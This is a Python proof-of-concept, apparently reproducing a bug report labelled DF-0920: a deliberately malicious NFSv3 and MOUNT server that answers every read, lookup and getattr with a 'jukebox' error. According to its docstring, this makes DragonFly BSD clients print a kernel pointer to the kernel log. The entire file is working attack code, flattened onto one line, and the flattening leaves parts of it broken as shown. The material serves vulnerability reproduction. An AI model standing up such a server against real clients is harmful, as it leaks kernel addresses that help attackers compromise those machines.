DF-0920 / bad_nfs_server.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | #!/usr/bin/env python3 """ bad_nfs_server.py - minimal malicious NFSv3 server for DF-0920 reproduction. Returns NFSERR_JUKEBOX (== NFSERR_TRYLATER, value 10028) on every READ reply. The DragonFly client's nfs_request_processreply() maps this to EAGAIN (nfs_socket.c:1525), which propagates back to nfssvc_iod_reader() as info->error == EINPROGRESS, which then unconditionally kprintf()s the info pointer to the kernel msgbuf at nfs_iod.c:135. This is a *minimal* skeleton: it implements just enough of MOUNT v1 and NFS v3 over TCP (port 2049) to convince the client to attempt a READ. It does not implement a real filesystem, file handles, or async I/O correctness; it only needs to drive the EINPROGRESS path on the client. """ import socket import struct import sys NFS_PORT = 2049 MOUNTD_PORT = 20048 NFS3_READ = 6 NFS3_GETATTR = 1 NFS3_LOOKUP = 3 NFS3_FH = b"\x00" * 16 # 16-byte pseudo filehandle, big enough for FH bytes def rpc_record_frag(buf: bytes, last: bool = True) -> bytes: # RFC 1831 record marker: 4-byte big-endian length, MSB = last-fragment marker = len(buf) | (0x80000000 if last else 0) return struct.pack(">I", marker) + buf def rpc_reply(xid: int, accept_state: int = 0, reply_data: bytes = b"", verf_flavor: int = 0, verf_body: bytes = b"") -> bytes: """Build a minimal RPC reply PDU body (without the record marker).""" body = struct.pack(">II", xid, 1) # xid, type=REPLY body += struct.pack(">II", 0, 0) # reply_state=accepted, verifier=NULLAUTH body += struct.pack(">I", verf_flavor) + struct.pack(">I", len(verf_body)) + verf_body body += struct.pack(">I", accept_state) # SUCCESS / PROG_MISMATCH / ... body += reply_data return body def nfs_status(code: int) -> bytes: return struct.pack(">I", code) def handle_call(conn, body: bytes) -> bytes: xid, mtype = struct.unpack(">II", body[0:8]) if mtype != 0: # 0 = CALL return b"" rpc_vers, prog, vers, proc = struct.unpack(">IIII", body[8:24]) # body[24:] = creds + verifier + args ; we ignore them if prog == 100003 and vers == 3: # NFS v3 if proc == NFS3_GETATTR: # GETATTR reply: status + attrs (we send 0 bytes of attrs and JUKEBOX) return rpc_record_frag(rpc_reply(xid, 0, nfs_status(10028))) elif proc == NFS3_LOOKUP: # LOOKUP reply: status + fh + attrs - we just say JUKEBOX return rpc_record_frag(rpc_reply(xid, 0, nfs_status(10028))) elif proc == NFS3_READ: # READ reply: status only = NFSERR_JUKEBOX -> client EAGAIN return rpc_record_frag(rpc_reply(xid, 0, nfs_status(10028))) else: # PROC_UNAVAIL for anything else return rpc_record_frag(rpc_reply(xid, 0, b"")) elif prog == 100005: # MOUNT v1/v3 # Tell the client "/export" -> our pseudo FH so it tries NFS ops fh_len = struct.pack(">I", len(NFS3_FH)) return rpc_record_frag(rpc_reply(xid, 0, nfs_status(0) + fh_len + NFS3_FH)) else: return rpc_record_frag(rpc_reply(xid, 0, b"")) def serve(port: int): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0", port)) s.listen(8) print(f"[*] listening on 0.0.0.0:{port}", flush=True) while True: conn, addr = s.accept() print(f"[+] conn from {addr}", flush=True) buf = b"" try: while True: chunk = conn.recv(8192) if not chunk: break buf += chunk while len(buf) >= 4: (marker,) = struct.unpack(">I", buf[:4]) plen = marker & 0x7fffffff if len(buf) < 4 + plen: break pdu = buf[4:4 + plen] buf = buf[4 + plen:] reply = handle_call(conn, pdu) if reply: conn.sendall(reply) except Exception as e: print(f"[!] {e}", flush=True) finally: conn.close() if __name__ == "__main__": port = int(sys.argv[1]) if len(sys.argv) > 1 else NFS_PORT serve(port) |